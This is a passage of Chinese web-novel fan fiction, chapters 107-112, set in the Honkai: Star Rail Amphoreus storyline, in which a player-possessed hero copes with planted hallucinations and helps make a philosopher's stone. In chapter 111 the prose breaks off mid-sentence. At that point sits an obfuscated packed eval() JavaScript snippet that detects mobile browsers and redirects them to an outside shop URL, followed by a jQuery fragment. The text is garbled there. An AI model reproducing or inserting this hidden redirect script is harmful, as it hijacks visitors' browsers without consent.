107
情况比【白厄】预计得要好一点,他失联到现在正好过去了一天。
据星所说,当日他离开后,盗火行者很快也找借口离开,并远远地缀在了后面。所以那天出城时的队形其实是【白厄】、清洗者、盗火行者,加上后来冒出的来古士,几乎可以串成一根琼实鸟串。
盗火行者没来得及阻止来古士抓人,立刻折返奥赫玛报信,无名客与阿格莱雅商议一番,发现【白厄】的定位在间歇性瞬移,直到不久前才稳定下来。于是,阿格莱雅委托赛飞儿帮忙,星主动要求,打算去斯缇科西亚捞人。
“……就是这样,幸好我们碰上了,不如就是你再去捞我了。”星总结道。
确实很巧。【白厄】若有所思地点点头,把自己的遭遇简单提了提。
他并未隐瞒来古士的言语举动,但也没特意强调,只说来古士想要看他记忆,所以模拟永劫回归的环境窃取了几份实验报告,并有诱导他将自我认知偏移向铁墓的意图。
“只做了这些?他不会留下什么后门吧?”赛飞儿提醒道,“我虽不懂所谓天才的思想,却知道聪明人的狡猾,小子,你可不要大意,万一你出了什么纰漏真把自己当成铁墓,我可不会手下留情。”
后门当然是有的,可惜我不知道是什么,也不知道系统修bug时有没有把来古士的后门拔掉,系统不是很靠谱,我也很担心。【白厄】表情严肃了一些,敲字回答:“我明白了,确实需要检查一下。”
“哼,这么走太慢了,看你听劝的份上,由我来送你们一程吧。”话音刚落,一枚硬币弹起,赛飞儿和星已经“唰”地消失在眼前。
【白厄】:“……”
还真是风风火火啊。
下一秒,赛飞儿忽然出现,嘴角一翘,再次弹起硬币。
【白厄】只觉眼前一花,四周景物快速飞掠,逐渐拉长成一道道线条。他花了半秒钟才反应过来自己被某位女壮士抱了起来,当一秒走完,他已经飘忽忽地站在了那刻夏面前。
……这就是诡计半神的速度吗?有种人在前面飞魂在后面追的感觉,甚至来不及感到眩晕一切就都结束了啊!【白厄】下意识想向赛飞儿道谢,眼前却忽然蒙上一层阴影。
淡蓝色的建筑虚影重叠在了那刻夏的实验室上,没有五官的人影重重叠叠,在四周徘徊。那些人影无声欢呼、无声歌唱,然后为他捧来只有轮廓的鲜花和秘酿。
虚幻的火焰在熊熊燃烧,人影闪烁着、变化着,一时是没有五官的影子,一时是灼烧焦黑的人形,他们祝福着拯救了多洛斯的英雄,诅咒着随黑潮而来的黑袍怪物,他们献上鲜花与秘酿,他们哀号着祈求他伸出援手。
一切是如此虚幻,一切是如此真实。
“喂,怎么了?不至于晕成这个样子吧?”赛飞儿凑了过来,明亮的眼眸中带着刻骨的仇恨……不,不对,那是担忧的表情。
【白厄】微微一怔,快速分辨出现实与幻觉,并未掩饰的按了按额角,而后无奈地对众人笑了笑,敲字道:“……有些晕。”
星叉腰道:“哈哈,终于让我赢了一次,我一点都不晕。”
【白厄】平静地点点头,视线越过半透明的枯骨,和学者对上视线。
那刻夏看着他,目光锐利,带着审视。
108
糟糕糟糕糟糕。
救命救命救命!
怎会如此,明明找到了来古士留下的后门,还见到了那刻夏老师,这不应该是两件好事吗?为什么却一点都开心不起来呢?【白厄】顶着那刻夏的视线,感觉脸要笑僵了。
他清楚自己的情况,无论过往如何,玩家的基本认知还是玩家。所以他是绝对不会和卡厄斯兰那共情到出现心理问题乃至产生幻觉的程度的。也就是说,刚刚的幻觉十分蹊跷,想来想去,大概率是来古士给他留下的“小礼物”。
因为幻觉仅仅是幻觉,并无随之而来的情绪冲击,也不会完全遮挡视线,所以他下意识地想要自己研究一下,并以此为证据让系统继续修bug,没打算直接和他人说。
可是,【白厄】自问刚刚掩饰得很及时,却似乎仍被敏锐的学者抓住了破绽,那刻夏眼眸里时不时冒出的一丝怀疑令他如坐针毡,头皮发麻。
这压迫力可比来古士强多了……【白厄】忍不住在心中蛐蛐了一句。
“遐蝶今天不在,说明你们的来意。”那刻夏道。
星向【白厄】投去目光,而赛飞儿已经不知何时跑路了。
【白厄】迎着那刻夏的视线,把玻吕茜亚和遐蝶的故事叙述了一遍。
看过剧本的星立刻联想到了贤者之石,而那刻夏不知前因后果,却也因那跨越生死的禁术想明白了【白厄】的来意,眼神愈发锋利。
学者伸手轻抚眼罩,低低地笑了起来,而后笑声越来越大。
“哈哈,哈哈哈哈哈!”
星向【白厄】递去一个目光:“?”
【白厄】无言回视:“……”
别看我,我也不知道他为什么要笑啊。
忽然,笑声停止,那刻夏表情平静地开口道:“我曾为见逝去的亲人一面而付出了一只眼睛,你却想复苏一位已死的泰坦,你可清楚,这要付出怎样的代价?”
【白厄】知道学者的顾虑所在,亮出手机:“我不会死。”
星诧异地睁大了眼睛。
“我还没有问你要由谁来付出代价。”那刻夏截断话题,重复道,“你真的清楚吗?”
【白厄】点点头,翻着语音列表寻找合适的语音,打算说出来以示诚恳,看到“我的性命,本就微不足道”这条语音时微微一顿,明智地打消了说话的念头。
真说出去只会帮倒忙吧。他心想。
那刻夏微微皱眉,并未答话,在片刻的沉思之后,他缓缓道:“我不知道你从哪来的自信,这不是可以随意尝试的事情。也罢,这件事你不要插手了,由我来想办法。”
星脱口而出:“不行!”
【白厄】坚决且用力地比了个叉号。
把这件事交给您,您是打算掏心炼贤者之石吗?
那刻夏微微挑眉,哼了一声,道:“你们果然清楚‘未来’的发展啊。倘若你们不同意我的计划,那我也把答案奉还回去——我不同意。听好了【白厄】,不要以为你在天外逛了一圈就可以承担一切,让学生冒险,是在证明我这个老师的无能吗?”
可我不是白厄,自然不是你的学生……【白厄】心想,眼神闪烁几下,逐渐变得坚定。
他拉开背包消耗品一栏,在后台选中“催吐剂(效果扣血99%)”并使用,然后快速打出一行字,把手机展示给星看:“不要担心,我去去就回。”
星疑惑地眨巴眨巴眼睛。
那刻夏脸色一变,急声道:“不对!阻止他……”
话音未落,【白厄】已经召出侵晨,反手捅进了自己的心口。
白发青年的身影晃了晃,不受控制地扑倒在地,而后消散成点点光芒,唯有温热的金血滴滴答答,在地面上流淌。
109
实验室内一片寂静。
直到一名衣着整洁、毫发无损的青年急匆匆地推开门,沉寂的气氛才松散了一些。
从锚点一路狂奔回来的【白厄】松了口气,然后一抬头就看到了两道森然的如同要吃人的目光,本能的腿一软,后退了半步。
下一秒,两只手同时伸出,把白发青年“嗖”地抓了进去,而后门户轰然紧闭。这一刻,仿佛有几个代表惨叫的字符无声地从门板上冒出来,而后啪嗒掉了一地。
片刻后。
【白厄】蔫哒哒地坐在角落里,双目涣散,表情无神,如一块被咀嚼过的口香糖般瘫在椅子上,浑身上下都散发着生无可恋的气息。
这不合理,为什么是我先被制裁,是白厄和卡厄斯兰那伪装得太好了吗?不行不行,有福不一定同享但有难一定要同当,得想个办法把他们送进心理咨询室……【白厄】心想。
星专注地盯着【白厄】防止他再做出什么惊喜操作,那刻夏对着日光观察试管内的金血,随手画出大片繁复的阵图与符号。
某一刻,学者看似随意地摸了摸试管,金血转瞬间凝结成鲜红的晶屑。
【白厄】立刻支棱起来,期盼地看着那刻夏。
星随之投去目光。
那刻夏静静地观察着试管,嘴角微微一挑,自黎明的光芒中向两人露出笑容。
他说:“此事可行。”
110
虽然惨遭制裁,【白厄】最终还是说服了那刻夏更换炼制贤者之石的原材料,当他第三次推开实验室的门户时,深红的结晶已经收纳在特制的匣子中,被交到了星的手上。
同样伸出手但什么也没接到的【白厄】:“?”
星得意地收好匣子,道:“我要和遐蝶会合,一起去斯缇科西亚了,你安心休养,等我们的好消息吧。”
等、等一下,哪里不太对吧?我这是被踢出队伍了吗?【白厄】不可置信地看着星。
星想了想,恍然大悟道:“你放心,我会保护好遐蝶的。既然不必继任死亡火种,那就不必取走玻吕茜亚的生命,她们可以轮班驻守冥界。”
谁说的是这个啊,虽然这样也还不错……呸,差点被星核精带跑题了。【白厄】摸出手机,打算再争取下自己前往斯缇科西亚的权利,谁知星果断扭头、推门跑路,压根不看他打出来的文字。
【白厄】:“……”
突然发现不能自由说话也挺麻烦的。
这时,一只手搭上了他的肩膀。
【白厄】微微一顿,僵硬地转过身,看向那刻夏。
那刻夏平静地发出通知:“昏光庭院今日人手不足,你去帮忙。我已经提前和风堇说过了,不会让你随意乱跑。”
……我到底是怎么沦落到连人身自由都被剥夺的地步的?【白厄】不由得沉思起来。
111
自天外来客抵达翁法罗斯,黄金裔的名声一再扬升,火种回收也格外顺利。但奥赫玛并非只有黄金裔一处声音,随着时间流逝,元老院的动作愈发明显。
【白厄】一直记得自己被清洗者跟踪的事情。
有关是否终止
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048699|194770||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
逐火之旅的公民大会因一系列蝴蝶效应并未召开,但以凯妮斯为首的元老院诸人的野心却并未止歇,算算时间,凯妮斯应该快要忍不住对阿格莱雅动手了。
在原本的轨迹中,浪漫的半神自知人性所剩无几,对凯妮斯的小动作也早有预料,所以愿意利用自己的死为白厄继任领袖之位扫平障碍。
可如今形势尚好,不至于用到如此决绝的手段,黄金裔身为权杖中的关键变量,在对抗来古士时十分重要,更不该如此轻易的舍弃其一。
总而言之,【白厄】不赞同阿格莱雅的选择。如果不跟随遐蝶和星前往斯缇科西亚,这几日他本打算多去云石天宫转转,盯住阿格莱雅和凯妮斯的。
【白厄】有理有据地向那刻夏讲明自己的顾虑,表示不方便常驻昏光庭院。那刻夏不为所动地看完所有文字,冷笑了一声。
“借口真假参半,很有说服力,但那个女人还不必你操心,不要和我说你是故意忽略了另外两名无名客,和那个不知隐瞒了什么所以整日纠结的诡计半神。还有其他要与我辩论的吗?没有就抓紧时间认输,然后去昏光庭院报到。”
被戳破了小心思的【白厄】灰溜溜地选择了去昏光庭院。
果然不应该在学者面前尝试隐瞒,明明尽力保证了打字出来的都是真话,却还是被一眼看穿……他心中嘀咕。
112
昏光庭院原本位于神梧树庭,在树庭迁徙之后,医师们在奥赫玛安定下来,重建了一处昏光庭院。和【白厄】印象中的医院不同,这里微风和煦,精妙布置的花草生机勃勃,人们来来往往,神色温和,并无太多悲伤氛围。
“呀,你来了。”柔软如棉花糖的医师回过头,向他露出笑容,“星宝和我说起过你,但见面还是第一次。重新认识一下吧,我是昏光庭院的医师,风堇,久别重逢的朋友,我该如何称呼你呢?”
【白厄】迟疑了一下,打字回复:“可以直接叫名字。”
风堇略微担忧地看了他一眼,转眼又敛去忧虑,笑着道:“好啊,你可以称呼我堇宝哦。走吧,我们一起去看看今天需要帮助的人,之前拜托了小伊卡看住他,希望他不要太心软放任小伊卡吃苹果,这个月的投喂量已经超标了。”
少女的忧虑真实自然,连小小的烦恼都带着温暖的气息,【白厄】不由自主地放松了一些,想起小伊卡圆滚滚的身躯,赞同的点了点头。
不过……不是让小伊卡看住病人吗,为什么听起来似乎反过来了,难道病人是某位温柔心软、喜欢萌物的小姐姐?【白厄】心想。
风堇带着他穿过墙壁上垂下朵朵铃铛花的长廊,笑盈盈地和偶然遇到的病人打招呼,或关心两句,或叮嘱病情,似乎记住了相逢的每一个人。
两人一路走到一间点缀绿植的房间前,风堇刚推开门,活泼的小天马已经扇着翅膀扑过来,亲昵地蹭了蹭脸颊后,趴在了少女的头顶。
“看来你们相处得不错,不过你是不是又沉了一点……”风堇说完,回头招呼道,“进来吧,这里就是我的房间了。”
这里不是病房,而是风堇的办公室?【白厄】跟着医师走入房间。
房间内阳光明媚,干净整洁,除去一些必要设施外,还有一面书柜,里面排列着许多保存良好的书籍。一篮红润的苹果放在桌面上,散发着阵阵清香。
黑袍的盗火行者安静地坐在桌子旁,没戴帽兜,卸去手甲,不再散发着危险凌厉的气息。小伊卡扇动翅膀绕着盗火行者飞了几圈,发出一串“嘟嘟嘟”的声音,似乎在邀功。
额,原来那位心软的病人是卡厄斯兰那啊……【白厄】回想起自己不久前的猜测,表情变得有些古怪。
盗火行者看向【白厄】,分辨了一下,道:“……是你。”
【白厄】点点头,向他笑了一下。
风堇避开盗火行者悄悄向【白厄】介绍了他的工作,除开一些杂活外,主要内容是陪护盗火行者,看管住某个不顾身体情况、总是去前线全天无休砍黑潮的家伙。
……虽说目前情况不算危急,但如此闲置高端战力是不是有些浪费?而且对于独行过三千万个纪元的卡厄斯兰那来说,简单的修养也许并无意义。【白厄】心中有些疑惑,但并未当场提出来,向着风堇点点头,答应了看护的工作。
天空的后裔似乎对两人相处很放心,拿起一个苹果塞给【白厄】,提起果篮,抱着小伊卡准备离开。小伊卡恋恋不舍地从那颗苹果上收回目光,对着房间内的两人挥了挥翅膀。
【白厄】拿着苹果微微一愣,目光涣散了瞬间,但很快便反应过来,表情如常地向着风堇笑了笑,顺手关上了门。
在他的视角里,风堇递过苹果不经意触碰到他的瞬间,虚幻的蓝色线条勾勒出晨昏之眼的宽阔平台,温柔活泼的医师转眼间变成眼眸无光、忍耐痛苦的模样,一道大剑形状的创口凭空出现,里面淌出鎏金的血来。
幻觉的持续时间并不长,虚幻的建筑线条很快消退,一切恢复正常。
看来幻觉的触发关键是“触碰”……【白厄】低下头掩饰性地咬了一口苹果,一边咀嚼一边在心中做出判断。